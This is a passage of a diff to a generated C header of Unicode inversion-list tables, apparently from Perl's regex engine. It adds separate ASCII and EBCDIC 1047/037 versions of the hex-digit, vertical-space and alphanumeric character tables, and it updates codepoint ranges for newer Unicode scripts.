+static const UV PL_POSIXXDIGIT_invlist[] = { /* for ASCII/Latin1 */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x30,
+	0x3A,
+	0x41,
+	0x47,
+	0x61,
+	0x67
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_POSIXXDIGIT_invlist[] = { /* for EBCDIC 1047 */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x81,
+	0x87,
+	0xC1,
+	0xC7,
+	0xF0,
+	0xFA
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_POSIXXDIGIT_invlist[] = { /* for EBCDIC 037 */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x81,
+	0x87,
+	0xC1,
+	0xC7,
+	0xF0,
+	0xFA
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_VERTSPACE_invlist[] = { /* for ASCII/Latin1 */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA,
+	0xE,
 	0x85,
 	0x86,
-	0xA0,
-	0xA1,
-	0x1680,
-	0x1681,
-	0x2000,
-	0x200B,
 	0x2028,
-	0x202A,
-	0x202F,
-	0x2030,
-	0x205F,
-	0x2060,
-	0x3000,
-	0x3001
+	0x202A
 };
 
-static const UV XPosixAlnum_invlist[] = { /* for ASCII/Latin1 */
-	1357,	/* Number of elements */
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_VERTSPACE_invlist[] = { /* for EBCDIC 1047 */
+	9,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
+	0xB,
+	0xE,
+	0x15,
+	0x16,
+	0x25,
+	0x26,
+	0x2028,
+	0x202A
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_VERTSPACE_invlist[] = { /* for EBCDIC 037 */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB,
+	0xE,
+	0x15,
+	0x16,
+	0x25,
+	0x26,
+	0x2028,
+	0x202A
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_XPOSIXALNUM_invlist[] = { /* for ASCII/Latin1 */
+	1391,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
 	0x30,
 	0x3A,
 	0x41,
@@ -21882,6 +122904,8 @@
 	0x82D,
 	0x840,
 	0x859,
+	0x860,
+	0x86B,
 	0x8A0,
 	0x8B5,
 	0x8B6,
@@ -21930,6 +122954,8 @@
 	0x9E4,
 	0x9E6,
 	0x9F2,
+	0x9FC,
+	0x9FD,
 	0xA01,
 	0xA04,
 	0xA05,
@@ -21987,7 +123013,7 @@
 	0xAE6,
 	0xAF0,
 	0xAF9,
-	0xAFA,
+	0xAFD,
 	0xB01,
 	0xB04,
 	0xB05,
@@ -22102,7 +123128,7 @@
 	0xCF0,
 	0xCF1,
 	0xCF3,
-	0xD01,
+	0xD00,
 	0xD04,
 	0xD05,
 	0xD0D,
@@ -22507,7 +123533,7 @@
 	0x30FC,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
 	0x31A0,
@@ -22517,7 +123543,7 @@
 	0x3400,
 	0x4DB6,
 	0x4E00,
-	0x9FD6,
+	0x9FEB,
 	0xA000,
 	0xA48D,
 	0xA4D0,
@@ -22696,7 +123722,7 @@
 	0x102D1,
 	0x10300,
 	0x10320,
-	0x10330,
+	0x1032D,
 	0x1034B,
 	0x10350,
 	0x1037B,
@@ -22904,6 +123930,14 @@
 	0x118EA,
 	0x118FF,
 	0x11900,
+	0x11A00,
+	0x11A33,
+	0x11A35,
+	0x11A3F,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A98,
 	0x11AC0,
 	0x11AF9,
 	0x11C00,
@@ -22922,6 +123956,24 @@
 	0x11CA8,
 	0x11CA9,
 	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D42,
+	0x11D43,
+	0x11D44,
+	0x11D46,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
 	0x12000,
 	0x1239A,
 	0x12400,
@@ -22957,13 +124009,15 @@
 	0x16F93,
 	0x16FA0,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
 	0x17000,
 	0x187ED,
 	0x18800,
 	0x18AF3,
 	0x1B000,
-	0x1B002,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
 	0x1BC00,
 	0x1BC6B,
 	0x1BC70,
@@ -23134,16 +124188,2876 @@
 	0x2B81E,
 	0x2B820,
 	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
 	0x2F800,
 	0x2FA1E
 };
 
-static const UV XPosixAlpha_invlist[] = { /* for ASCII/Latin1 */
-	1289,	/* Number of elements */
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XPOSIXALNUM_invlist[] = { /* for EBCDIC 1047 */
+	1415,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xBA,
+	0xBB,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xFA,
+	0xFB,
+	0xFF,
+	0x100,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x345,
+	0x346,
+	0x370,
+	0x375,
+	0x376,
+	0x378,
+	0x37A,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x55A,
+	0x561,
+	0x588,
+	0x5B0,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F3,
+	0x610,
+	0x61B,
+	0x620,
+	0x658,
+	0x659,
+	0x66A,
+	0x66E,
+	0x6D4,
+	0x6D5,
+	0x6DD,
+	0x6E1,
+	0x6E9,
+	0x6ED,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x710,
+	0x740,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7EB,
+	0x7F4,
+	0x7F6,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x818,
+	0x81A,
+	0x82D,
+	0x840,
+	0x859,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x8E0,
+	0x8E3,
+	0x8EA,
+	0x8F0,
+	0x93C,
+	0x93D,
+	0x94D,
+	0x94E,
+	0x951,
+	0x955,
+	0x964,
+	0x966,
+	0x970,
+	0x971,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BD,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CD,
+	0x9CE,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4D,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABD,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACD,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF0,
+	0xAF9,
+	0xAFD,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3D,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4D,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB70,
+	0xB71,
+	0xB72,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCD,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBF0,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4D,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC80,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBD,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCD,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4D,
+	0xD4E,
+	0xD4F,
+	0xD54,
+	0xD58,
+	0xD5F,
+	0xD64,
+	0xD66,
+	0xD70,
+	0xD7A,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF4,
+	0xE01,
+	0xE3B,
+	0xE40,
+	0xE47,
+	0xE4D,
+	0xE4E,
+	0xE50,
+	0xE5A,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xECD,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF01,
+	0xF20,
+	0xF2A,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF82,
+	0xF88,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0x1000,
+	0x1037,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x104A,
+	0x1050,
+	0x1063,
+	0x1065,
+	0x1069,
+	0x106E,
+	0x1087,
+	0x108E,
+	0x108F,
+	0x1090,
+	0x109A,
+	0x109C,
+	0x109E,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135F,
+	0x1360,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1714,
+	0x1720,
+	0x1734,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17B4,
+	0x17B6,
+	0x17C9,
+	0x17D7,
+	0x17D8,
+	0x17DC,
+	0x17DD,
+	0x17E0,
+	0x17EA,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x1939,
+	0x1946,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DA,
+	0x1A00,
+	0x1A1C,
+	0x1A20,
+	0x1A5F,
+	0x1A61,
+	0x1A75,
+	0x1A80,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA7,
+	0x1AA8,
+	0x1B00,
+	0x1B34,
+	0x1B35,
+	0x1B44,
+	0x1B45,
+	0x1B4C,
+	0x1B50,
+	0x1B5A,
+	0x1B80,
+	0x1BAA,
+	0x1BAC,
+	0x1BE6,
+	0x1BE7,
+	0x1BF2,
+	0x1C00,
+	0x1C36,
+	0x1C40,
+	0x1C4A,
+	0x1C4D,
+	0x1C7E,
+	0x1C80,
+	0x1C89,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF7,
+	0x1D00,
+	0x1DC0,
+	0x1DE7,
+	0x1DF5,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x24B6,
+	0x24EA,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E00,
+	0x2E2F,
+	0x2E30,
+	0x3005,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x3031,
+	0x3036,
+	0x3038,
+	0x303D,
+	0x3041,
+	0x3097,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA674,
+	0xA67C,
+	0xA67F,
+	0xA6F0,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA828,
+	0xA840,
+	0xA874,
+	0xA880,
+	0xA8C4,
+	0xA8C5,
+	0xA8C6,
+	0xA8D0,
+	0xA8DA,
+	0xA8F2,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA900,
+	0xA92B,
+	0xA930,
+	0xA953,
+	0xA960,
+	0xA97D,
+	0xA980,
+	0xA9B3,
+	0xA9B4,
+	0xA9C0,
+	0xA9CF,
+	0xA9DA,
+	0xA9E0,
+	0xA9E5,
+	0xA9E6,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA60,
+	0xAA77,
+	0xAA7A,
+	0xAA7B,
+	0xAA7E,
+	0xAABF,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAC3,
+	0xAADB,
+	0xAADE,
+	0xAAE0,
+	0xAAF0,
+	0xAAF2,
+	0xAAF6,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABEB,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF10,
+	0xFF1A,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10140,
+	0x10175,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x103D1,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE5,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x11000,
+	0x11046,
+	0x11066,
+	0x11070,
+	0x11082,
+	0x110B9,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11133,
+	0x11136,
+	0x11140,
+	0x11150,
+	0x11173,
+	0x11176,
+	0x11177,
+	0x11180,
+	0x111C0,
+	0x111C1,
+	0x111C5,
+	0x111D0,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x11235,
+	0x11237,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112E9,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133D,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134D,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11400,
+	0x11442,
+	0x11443,
+	0x11446,
+	0x11447,
+	0x1144B,
+	0x11450,
+	0x1145A,
+	0x11480,
+	0x114C2,
+	0x114C4,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115BF,
+	0x115D8,
+	0x115DE,
+	0x11600,
+	0x1163F,
+	0x11640,
+	0x11641,
+	0x11644,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11680,
+	0x116B6,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172B,
+	0x11730,
+	0x1173A,
+	0x118A0,
+	0x118EA,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A33,
+	0x11A35,
+	0x11A3F,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A98,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C3F,
+	0x11C40,
+	0x11C41,
+	0x11C50,
+	0x11C5A,
+	0x11C72,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D42,
+	0x11D43,
+	0x11D44,
+	0x11D46,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16AD0,
+	0x16AEE,
+	0x16B00,
+	0x16B37,
+	0x16B40,
+	0x16B44,
+	0x16B50,
+	0x16B5A,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F93,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9E,
+	0x1BC9F,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
